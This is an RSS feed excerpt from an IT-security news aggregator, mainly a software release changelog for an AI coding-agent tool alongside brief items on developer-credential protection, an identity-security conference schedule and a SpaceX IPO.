href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> specifically, or through the dozens of teams now racing to reproduce and extend these results, the paper has already accomplished something that no benchmark score can fully capture.</p><p>It has forced the AI community to confront an uncomfortable possibility: that for years, the industry may have been spending billions of dollars scaling up parameters to improve a kind of intelligence that could have fit, all along, on a laptop. The weights are public. The code is open. And the most important test isn't on any leaderboard — it's whether anyone can make a model this small actually useful in the real world.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v16.0.3]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Exported renderDelimitedThinking from the @oh-my-pi/pi-ai/dialect barrel so consumers can reuse the dialect's  envelope unwrap-and-rewrap logic (the only ./dialect/rendering primitive re-exported; the rest stay dialect-internal).

Fixed

Fixed OpenAI Responses/Codex tool sc...]]></description>
<link>https://tsecurity.de/de/3603377/tools/v1603/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603377/tools/v1603/</guid>
<pubDate>Wed, 17 Jun 2026 02:23:16 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Exported <code>renderDelimitedThinking</code> from the <code>@oh-my-pi/pi-ai/dialect</code> barrel so consumers can reuse the dialect's <code>&lt;thinking&gt;</code> envelope unwrap-and-rewrap logic (the only <code>./dialect/rendering</code> primitive re-exported; the rest stay dialect-internal).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed OpenAI Responses/Codex tool schema normalization stripping provider-rejected regex lookaround patterns from MCP tool parameter schemas. (<a href="https://github.com/can1357/oh-my-pi/issues/2784" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2784/hovercard">#2784</a>)</li>
<li>Fixed OpenAI Responses parallel tool-call routing so late keyed argument deltas for a closed call are dropped instead of being appended to another open call.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added support for LaTeX color commands (<code>\textcolor</code>, <code>\colorbox</code>, and <code>\fcolorbox</code>) in user-visible terminal prose and final chat to colorize output</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed STT dependency setup to validate recorder and model assets per <code>stt.modelName</code>, so switching speech models re-runs dependency checks and downloads for the new model</li>
<li>Changed STT startup with cached models to warm the speech model in the background and defer full model loading until transcription begins, reducing push-to-talk start latency</li>
<li>Allowed user-visible terminal and final-chat responses to include LaTeX math delimiters/commands and Mermaid <code>```mermaid</code> diagrams</li>
<li>Changed the hold-<code>Space</code> push-to-talk gesture to recognize a held bar from the <em>regularity</em> of the OS key auto-repeat rather than a raw space count or speed alone, so it no longer spams the editor, no longer eats deliberate space taps, and no longer triggers when the bar is smashed. Recording starts only after two consecutive inter-space deltas are "mechanical" — both fast (within ~120 ms) and near-identical, the metronomic signature of auto-repeat; the few pre-burst spaces typed are then tracked back out. Smashing (fast but jittery) and deliberate spacing (steady but slow) both keep typing real spaces and never start recording.</li>
<li>Updated markdown Mermaid rendering to color ASCII diagrams with the active theme and automatically choose a narrower layout that better fits the terminal width</li>
<li>Made the watched-session transcript sent to the advisor (and shown by <code>/advisor dump</code>) clearer: each turn now opens with a <code>### Session update</code> heading; watched-agent roles render as inline <code>**agent**:</code> / <code>**user**:</code> labels instead of level-2 headings that collided with the advisor's own turns; consecutive same-role messages collapse under one label (the watched agent emits one assistant message per tool call); and batched updates are joined by a blank line rather than a <code>---</code> rule.</li>
<li>Changed the compact transcript tool-intent prefix (<code>history://</code>, <code>/advisor dump</code>) from <code># </code> to <code>// </code> so intent lines read as comments instead of rendering as Markdown H1 headings.</li>
<li>Changed the advisor advice injected into the primary transcript from a <code>Advisor (...): - [severity] note</code> prose block to one <code>&lt;advisory severity="…" guidance="weigh, don't blindly obey"&gt;…&lt;/advisory&gt;</code> element per note, with XML-escaped bodies. (Relocated the shared <code>escapeXmlText</code> helper to <code>@oh-my-pi/pi-utils</code>.)</li>
<li>Reverted <code>/dump</code> and <code>/advisor dump raw</code> to the pre-16.x full verbose dump: system prompt, model/thinking config, tool inventory with parameters, and the message transcript rendered with markdown role headings (<code>## User</code>, <code>## Assistant</code>, <code>### Tool Call: &lt;name&gt;</code> with the call's <code>_i</code> intent as a <code>//</code> comment under the heading and the remaining arguments as a fenced YAML block, <code>### Tool Result: &lt;name&gt;</code>, plus <code>## Bash Execution</code>/<code>## File Mention</code>/summary sections) instead of the model's native-dialect turn envelopes and <code>&lt;invoke&gt;</code>/<code>&lt;parameter&gt;</code> XML tool calls. Dropped the compact default and the <code>[raw]</code> flag on <code>/dump</code>; the compact <code>→ tool(...) ⇒ ok</code> history format is no longer reachable from <code>/dump</code>. <code>/advisor dump</code> still defaults to compact, and <code>/advisor dump raw</code> now renders the same markdown dump (previously the model's native-dialect envelopes).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Whisper STT cache detection to require both encoder and decoder <code>.onnx</code> files, so partial model downloads now trigger a proper foreground download instead of being treated as fully cached</li>
<li>Fixed same-process <code>JsRuntime</code> cleanup so disposing an older inline/direct runtime no longer deletes a newer runtime's JS helper globals; inactive cmux/direct runtimes now re-activate their globals before sequential use while overlapping cross-runtime runs fail explicitly.</li>
<li>Fixed magic-keyword steering notices (<code>ultrathink-notice</code>, <code>orchestrate-notice</code>, <code>workflow-notice</code>) to be prepended before the related user message so they influence that same turn</li>
<li>Fixed dequeuing or popping queued user messages to remove their preceding hidden magic-keyword notice companions, preventing orphaned queued notices</li>
<li>Fixed queued user steers to auto-resume after interrupts even when the transcript tail is a preserved advisor card or other non-conversational custom message</li>
<li>Fixed queued user follow-up messages to remain queued after an interrupt and only run on explicit resume, even when an IRC wake leaves a provider-valid tail</li>
<li>Fixed stranded IRC asides to wake a response turn after interruption instead of remaining pending</li>
<li>Fixed accepted IRC asides to be flushed into the transcript during disposal instead of being discarded</li>
<li>Fixed interactive submissions made while the TUI had no active input waiter: they now start a real prompt directly, with steer fallback if a background turn races in, instead of queueing behind a non-resumable idle transcript and appearing to do nothing.</li>
<li>Fixed pressing Esc (or Alt+Up dequeue) while agent-authored messages were queued — advisor concern/blocker notes, hidden goal/plan/budget steers, IRC/extension asides — dumping their text into the user's editor. Editor restoration (<code>clearQueue()</code>), pending chips (<code>getQueuedMessages()</code>), and <code>popLastQueuedMessage()</code> now surface only genuinely user-authored queued messages (plain user turns and <code>attribution: "user"</code> custom messages like <code>/skill</code>). Plain Alt+Up dequeue leaves all other queued messages in place for the continuing stream; only the Esc interrupt path keeps just advisor cards (so abort's preservation still re-records them as visible advice) and drops other internal steers, so a user interrupt can't be silently undone by an auto-resume on leftover internal context. <code>queuedMessageCount</code> still reflects all actual queued work (advisor cards included) so <code>hasPendingMessages()</code>/RPC and the empty-submit abort gate stay accurate.</li>
<li>Fixed advisor <code>concern</code>/<code>blocker</code> advice being withheld from the running agent and then dumped as one burst at the next user prompt after a deliberate interrupt. A user interrupt latches advisor auto-resume suppression, but a non-user resume (synthetic/auto-continue, or a queued steer draining after the abort) leaves the run streaming with that latch still set, so every interrupting note was parked hidden in the next-turn queue instead of steered into the live turn — the agent never heard the advisor mid-run and the backlog flushed all at once on the next prompt. Suppression now only withholds interrupting advice while the agent is idle (or still tearing the interrupted turn down); once a turn is streaming again the note is steered in live, since steering an active run never auto-resumes a stopped one. A concern that strands in the steer queue past the resumed turn's final poll is reclaimed as visible advice when the agent settles (mirroring abort), so it neither auto-resumes the stopped run nor lingers to flush at the next prompt.</li>
<li>Fixed <code>omp --continue</code>/<code>-c</code> sometimes resuming into a subagent transcript instead of the interactive session. Subagent (and HTML-export) <code>SessionManager.open()</code> calls run in the parent's terminal and were clobbering the per-TTY <code>--continue</code> breadcrumb with their own artifact-dir session file; these headless opens now suppress the breadcrumb. <code>continueRecent()</code> also recovers already-poisoned breadcrumbs by resolving any session file inside a parent's artifacts dir (<code>&lt;parent&gt;/&lt;agentId&gt;.jsonl</code>) back up to the top-level session.</li>
<li>Fixed the Agent Hub stacking duplicate <code>Agent Hub · N running</code> frames and stranding garbage rows in scrollback while navigating with subagents still streaming. The hub was a non-fullscreen overlay composited over a live transcript, so each time a running subagent's progress grew the frame and scrolled the window the previously-painted hub copy was pushed permanently into the terminal's native scrollback (which the engine can't rewrite). It now renders inline in the editor slot — the same anchored region every other selector and the <code>ask</code> tool use — riding the normal append-only commit path, so the transcript commits above it exactly once and the hub repaints in place instead of leaking copies. (Avoids borrowing the alternate screen.)</li>
<li>Fixed every subagent registering itself as its own parent in the agent registry (<code>parentId === id</code>), so the Agent Hub rendered each agent as <code>sub · of &lt;itself&gt;</code> and the ←← parent-navigation gesture looped on the same agent. The SDK was reusing <code>parentTaskPrefix</code> — the agent's own artifact/output-id prefix — as the registry parent link; spawns now pass a separate <code>parentAgentId</code> (the spawning agent's id: <code>Main</code> for top-level <code>task</code> spawns, the parent subagent for nested spawns and eval <code>agent()</code>, the focused agent for <code>/tan</code>) and the registry records that as the parent.</li>
<li>Fixed messaging a <code>parked</code> subagent that was restored from disk (Agent Hub scan, or a resumed/restarted session) failing with <code>cannot be revived (no reviver registered)</code> even though its transcript was intact. Such refs carry a session file but no in-memory reviver — the executor's live reviver closure dies with the spawning turn/process — so IRC sends and Agent Hub focus refused them. <code>AgentLifecycleManager.ensureLive</code> now cold-revives them through a persisted-subagent reviver factory (installed by the top-level interactive/RPC session) that rebuilds the subagent from its JSONL the way <code>--resume</code> rebuilds a session: it reopens the file and replays it through <code>createAgentSession</code>, but sources the runtime contract from a now-readable <code>session_init</code> record (<code>SessionManager.peekSessionInit</code>) so tools, system prompt, output schema, and kind are restored rather than resurrected as a default top-level session. <code>session_init</code> now also persists the effective <code>spawns</code> allowlist and read-summarization flag so a cold revive keeps the original capability surface (old files without them deny re-spawning rather than defaulting to wildcard). Isolated runs and pre-<code>session_init</code> files whose recorded workspace no longer exists stay transcript-only (<code>history://</code>).</li>
<li>Fixed the terminal window-title OSC writes (<code>setTerminalTitle</code>/<code>pushTerminalTitle</code>/<code>popTerminalTitle</code>) leaking escape sequences to a developer's terminal during <code>bun test</code>; they now skip when the terminal is headless (the test-runtime default), matching the <code>ProcessTerminal</code> render/probe suppression so interactive-mode tests no longer paint to the real terminal</li>
<li>Fixed empty CLI sessions being retained after opening <code>omp</code> and exiting without a prompt (<a href="https://github.com/can1357/oh-my-pi/issues/2800" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2800/hovercard">#2800</a>).</li>
<li>Fixed <code>hooks/pre/*.ts</code> and <code>hooks/post/*.ts</code> files discovered through <code>hookCapability</code> being registered in discovery but never loaded into the extension runner, so their <code>tool_call</code> handlers now run without a manual <code>settings.json</code> <code>extensions</code> entry (<a href="https://github.com/can1357/oh-my-pi/issues/2796" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2796/hovercard">#2796</a>).</li>
<li>Fixed startup model fallback choosing the plain OpenAI <code>gpt-5.5</code> provider before the Codex OAuth provider when both shared the same default model id, which could surface a misleading OpenAI 401 despite valid Codex credentials (<a href="https://github.com/can1357/oh-my-pi/issues/2807" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2807/hovercard">#2807</a>).</li>
<li>Fixed local auto-thinking classification for reasoning-capable tiny models by giving them the same safe answer budget as online reasoning classifiers, with a larger local floor for non-reasoning tiny models (<a href="https://github.com/can1357/oh-my-pi/issues/2808" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2808/hovercard">#2808</a>).</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the built-in <code>render_mermaid</code> tool and its <code>renderMermaid.enabled</code> setting, so it can no longer be invoked directly</li>
</ul>
<h2>@oh-my-pi/collab-web</h2>
<h3>Removed</h3>
<ul>
<li>Removed rendering support for the <code>render_mermaid</code> tool from the web tool registry</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added <code>\tfrac</code> support to stacked display-math rendering so it now displays as a vertical fraction in <code>latexToBlock</code> output</li>
<li>Added markdown parsing for own-line display-math blocks (<code>$$...$$</code> and <code>\[...\]</code>) and delimiter-free <code>\begin{...}...\end{...}</code> math environments so block equations render via LaTeX-to-Unicode</li>
<li>Added stacked rendering of display-math fractions (<code>\frac</code>, <code>\dfrac</code>, <code>\cfrac</code>): the numerator is drawn over a horizontal bar over the denominator, with surrounding terms and <code>align</code>/<code>equation</code>-style environment rows aligned to the bar. Triggered for own-line <code>$$</code>/<code>\[</code> blocks, bare <code>\begin{...}</code> environments, and a paragraph whose sole content is a single display-math span; inline <code>$...$</code> fractions stay single-line (<code>½</code>, <code>(a+b)/c</code>)</li>
<li>Added bare math auto-rendering in <code>renderMathInText</code> for math-shaped lines and math environment blocks that omit <code>$</code>/<code>\(</code> delimiters</li>
<li>Added LaTeX-to-Unicode rendering for markdown math spans, converting <code>$$...$$</code>, <code>$...$</code>, <code>\(...\)</code>, and <code>\[...\]</code> into readable Unicode in Markdown output</li>
<li>Exported LaTeX conversion helpers from the package entrypoint so consumers can call <code>latexToUnicode</code>, <code>latexToBlock</code>, <code>renderMathInText</code>, <code>inlineMathSpanEnd</code>, and <code>isBareMathEnvironment</code> directly</li>
<li>Expanded LaTeX-to-Unicode conversion coverage for additional math fonts, delimiters, extensible arrows, layout environments, cancel/brace annotations, references, and AMS symbols</li>
<li>Added ANSI color rendering for LaTeX <code>\textcolor</code>, scoped <code>\color</code>, <code>\colorbox</code>, and <code>\fcolorbox</code>, including xcolor/CSS color parsing and truecolor/256-color terminal output</li>
<li>Added an optional <code>maxWidth</code> parameter to <code>MarkdownTheme.resolveMermaidAscii</code> to allow diagram resolvers to fit ASCII output to the available content width</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed markdown math rendering to preserve multiline layout for display equations, keeping <code>\\</code> row breaks as separate output lines (including inside list items)</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>alignat</code>/<code>alignedat</code>/<code>gatheredat</code> rendering in <code>latexToBlock</code> so the required <code>{n}</code> preamble is not rendered as visible math content</li>
<li>Fixed math parsing to leave non-math LaTeX snippets (for example <code>\begin{itemize}</code>) and fenced code blocks as literal text instead of rendering them as math</li>
<li>Fixed <code>renderInlineMarkdown</code> to handle top-level display-math tokens so raw <code>$$...$$</code> delimiters are no longer leaked</li>
<li>Fixed inline math span detection so escaped dollars and currency-like patterns (such as <code>$5</code> and <code>$10</code>) are not converted as math</li>
<li>Fixed Mermaid diagram rendering in Markdown code blocks to clip each ASCII line to content width before wrapping, preventing preformatted diagram rows from fragmenting</li>
<li>Fixed fullscreen overlays losing keyboard focus to hidden prompt surfaces, which could make settings unresponsive while a background approval request was pending (<a href="https://github.com/can1357/oh-my-pi/issues/2789" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2789/hovercard">#2789</a>).</li>
<li>Fixed <code>bun test</code> runs inside a real terminal leaking TUI output: <code>ProcessTerminal</code> now honors a headless test-runtime default, so frame paints, <code>start()</code> capability probes (OSC 11 / DA1 / kitty), the progress keepalive, notifications, and teardown escapes no longer reach the developer's terminal, and stdin raw mode is never engaged. Previously <code>#safeWrite</code> only skipped on <code>!process.stdout.isTTY</code>, so a developer running the suite in an interactive terminal saw stray status/editor boxes and probe queries. Terminal-contract suites opt back into real I/O via <code>setTerminalHeadless(false)</code></li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>escapeXmlText</code> utility to escape XML-significant characters <code>&amp;</code>, <code>&lt;</code>, and <code>&gt;</code> in element body text</li>
<li>Added <code>isTerminalHeadless()</code> / <code>setTerminalHeadless()</code> to centrally suppress real-terminal side effects (stdout escape/frame writes, stdin raw mode, CSI/OSC capability probes, SIGWINCH, window-title changes, emergency restore) under the test runtime. Defaults on when <code>bun test</code> sets <code>NODE_ENV=test</code>; terminal-contract tests opt out via <code>setTerminalHeadless(false)</code></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(tui): keep overlay focus above hidden prompts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4676940403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2795" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2795/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2795">#2795</a></li>
<li>fix(coding-agent): load discovered hook factories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677385980" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2798" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2798/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2798">#2798</a></li>
<li>fix(cli): skip empty session persistence by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677808827" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2804" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2804/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2804">#2804</a></li>
<li>fix(coding-agent): prefer Codex default auth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678553738" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2810" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2810/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2810">#2810</a></li>
<li>fix(coding-agent): expand local auto-thinking classifier budget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678723092" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2814" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2814/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2814">#2814</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v16.0.2...v16.0.3"><tt>v16.0.2...v16.0.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[News alert: GitGuardian adds endpoint protection as developer laptops become credential troves]]></title>
<description><![CDATA[NEW YORK, June 16, 2026, CyberNewswire–GitGuardian announced today that it is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations.
After 12 months of supply-chain campaigns harvesting credentials from d...]]></description>
<link>https://tsecurity.de/de/3603062/it-security-nachrichten/news-alert-gitguardian-adds-endpoint-protection-as-developer-laptops-become-credential-troves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603062/it-security-nachrichten/news-alert-gitguardian-adds-endpoint-protection-as-developer-laptops-become-credential-troves/</guid>
<pubDate>Tue, 16 Jun 2026 22:08:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NEW YORK, June 16, 2026, CyberNewswire–<a href="https://www.gitguardian.com/" rel="nofollow">GitGuardian</a> announced today that it is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations.</p>
<p><a href="https://www.lastwatchdog.com/wp/wp-content/uploads/GitGuardian-logo.png" rel="nofollow"><img decoding="async" class="alignright size-full wp-image-33983" src="https://www.lastwatchdog.com/wp/wp-content/uploads/GitGuardian-logo.png" alt="" width="228" height="49" srcset="https://www.lastwatchdog.com/wp/wp-content/uploads/GitGuardian-logo.png 228w, https://www.lastwatchdog.com/wp/wp-content/uploads/GitGuardian-logo-100x21.png 100w" sizes="(max-width: 228px) 100vw, 228px"></a>After 12 months of supply-chain campaigns harvesting credentials from developer machines, … <a href="https://www.lastwatchdog.com/news-alert-gitguardian-adds-endpoint-protection-as-developer-laptops-become-credential-troves/" class="read-more">(more…) </a></p>
<p>The post <a href="https://www.lastwatchdog.com/news-alert-gitguardian-adds-endpoint-protection-as-developer-laptops-become-credential-troves/">News alert: GitGuardian adds endpoint protection as developer laptops become credential troves</a> first appeared on <a href="https://www.lastwatchdog.com/">The Last Watchdog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CyberRisk TV Live Coverage from Identiverse 2026]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:10 CyberRisk TV is broadcasting live from Identiverse 2026 in Las Vegas!

Join us for exclusive interviews with identity, security, and technology leaders, actionable insights, and the latest thinking from practitioners shaping the ...]]></description>
<link>https://tsecurity.de/de/3602637/it-security-video/cyberrisk-tv-live-coverage-from-identiverse-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602637/it-security-video/cyberrisk-tv-live-coverage-from-identiverse-2026/</guid>
<pubDate>Tue, 16 Jun 2026 19:02:39 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:10 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-fjaOeskPEA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>CyberRisk TV is broadcasting live from Identiverse 2026 in Las Vegas!<br />
<br />
Join us for exclusive interviews with identity, security, and technology leaders, actionable insights, and the latest thinking from practitioners shaping the future of digital identity at the industry's premier identity-focused event.<br />
<br />
Throughout the day, we'll explore agentic AI and identity, non-human identities, identity governance, authentication, fraud prevention, workforce and customer identity, emerging identity security challenges, and the strategies organizations are using to build trust in an increasingly AI-driven world.<br />
<br />
Schedule:<br />
9:30am-10:00am PT -  Identiverse Kickoff with Mike Shema<br />
10:00am-10:30am PT - The Human Authorized. The Agent Acted. Who's Accountable? with Howard Ting, CEO at Opal Security<br />
10:30am-11:00am PT - From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles with Jaime Lewis-Gross, Senior Vice President of Solutions Engineering at Saviynt<br />
11:00am-11:30am PT - Stop Identity Fraud: Modern Strategies for Insurance and Healthcare with Kim Brown, Vice President, Product Management at LexisNexis Risk Solutions<br />
11:30am-12:00pm PT - ​Governing Agentic AI in the Age of Non-Human Identities with Amit Masand, Founder and CEO at IDM Express<br />
12:00-12:30pm PT - Making Enterprise AI Agents Accountable with Amir Ofek, CEO and Co-Founder at Aizome<br />
1:30pm-2:00pm PT - The Next Evolution of Identity Security: Using AI to Reduce Cost, Improve Efficiency, and Strengthen Governance with Ajay Gupta, CEO at SDG Corporation<br />
2:00pm-2:30pm PT - Agentic AI Has an Identity Problem with Itamar Apelblat, CoFounder & CEO at Token Security<br />
2:30pm-3:00pm PT - Interview with Shashwat Sehgal, P0 Security<br />
3:00pm-3:30pm PT - The Three Identity Problem: Surviving Identity Security's Chaotic Era with John Pritchard, Chief Executive Officer at Radiant Login<br />
3:30pm-4:00pm PT - Everyone Wants an AI Assistant. Few Are Ready to Govern One with Cassie Christensen, Field CTO at Saviynt<br />
4:00pm-4:30pm PT - Identiverse Recap with Mike Shema<br />
<br />
Full Show Notes & Schedule: https://securityweekly.com/idv26-1<br />
<br />
Find all of our Identiverse 2026 coverage at https://www.securityweekly.com/idv<br />
<br />
#Cybersecurity #Identiverse #identitysecurity #Identiverse2026 #aisecurity<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceX is public: Everything you need to know post-IPO]]></title>
<description><![CDATA[TechCrunch has followed SpaceX's start, struggles, and successes from the early days. And we're here for what happens next too. This package of SpaceX IPO coverage includes who stands to win (and maybe some who won't), pre-IPO deals, and what's tucked inside its S-1 registration document.]]></description>
<link>https://tsecurity.de/de/3602463/it-nachrichten/spacex-is-public-everything-you-need-to-know-post-ipo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602463/it-nachrichten/spacex-is-public-everything-you-need-to-know-post-ipo/</guid>
<pubDate>Tue, 16 Jun 2026 18:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TechCrunch has followed SpaceX's start, struggles, and successes from the early days. And we're here for what happens next too. This package of SpaceX IPO coverage includes who stands to win (and maybe some who won't), pre-IPO deals, and what's tucked inside its S-1 registration document.]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer laptops are the credential store attackers are picking through in 2026, GitGuardian announces Endpoint Protection]]></title>
<description><![CDATA[New York, New York, June 16th, 2026, CyberNewswire GitGuardian is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations. After 12 months of supply-chain campaigns harvesting credentials from developer mac...]]></description>
<link>https://tsecurity.de/de/3602100/it-security-nachrichten/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602100/it-security-nachrichten/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/</guid>
<pubDate>Tue, 16 Jun 2026 16:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New York, New York, June 16th, 2026, CyberNewswire GitGuardian is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations. After 12 months of supply-chain campaigns harvesting credentials from developer machines, CISOs and IT leaders are reopening a question many considered settled: what does endpoint protection have to […]</p>
<p>The post <a href="https://cybersecuritynews.com/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/">Developer laptops are the credential store attackers are picking through in 2026, GitGuardian announces Endpoint Protection</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer laptops are the credential store attackers are picking through in 2026, GitGuardian announces Endpoint Protection]]></title>
<description><![CDATA[New York, New York, June 16th, 2026, CyberNewswire GitGuardian is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations. After 12 months of supply-chain campaigns harvesting credentials from developer mac...]]></description>
<link>https://tsecurity.de/de/3602099/it-security-nachrichten/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602099/it-security-nachrichten/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/</guid>
<pubDate>Tue, 16 Jun 2026 16:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New York, New York, June 16th, 2026, CyberNewswire GitGuardian is introducing Developer Endpoint Protection, extending its secrets and non-human identity (NHI) security platform coverage to developer workstations. After 12 months of supply-chain campaigns harvesting credentials from developer machines, CISOs and IT leaders are reopening a question many considered settled: what does endpoint protection have to […]</p>
<p>The post <a href="https://gbhackers.com/developer-laptops-are-the-credential-store-attackers-are-picking-through-in-2026-gitguardian-announces-endpoint-protection/">Developer laptops are the credential store attackers are picking through in 2026, GitGuardian announces Endpoint Protection</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Advait Patel on How SRE and Security Engineering Are Converging]]></title>
<description><![CDATA[The convergence of SRE and Security Engineering is reshaping how organizations build, operate, and protect modern cloud environments. As infrastructure grows more complex and distributed, reliability, security, identity management, and observability are becoming increasingly interconnected discip...]]></description>
<link>https://tsecurity.de/de/3601903/it-security-nachrichten/advait-patel-on-how-sre-and-security-engineering-are-converging/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601903/it-security-nachrichten/advait-patel-on-how-sre-and-security-engineering-are-converging/</guid>
<pubDate>Tue, 16 Jun 2026 15:09:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
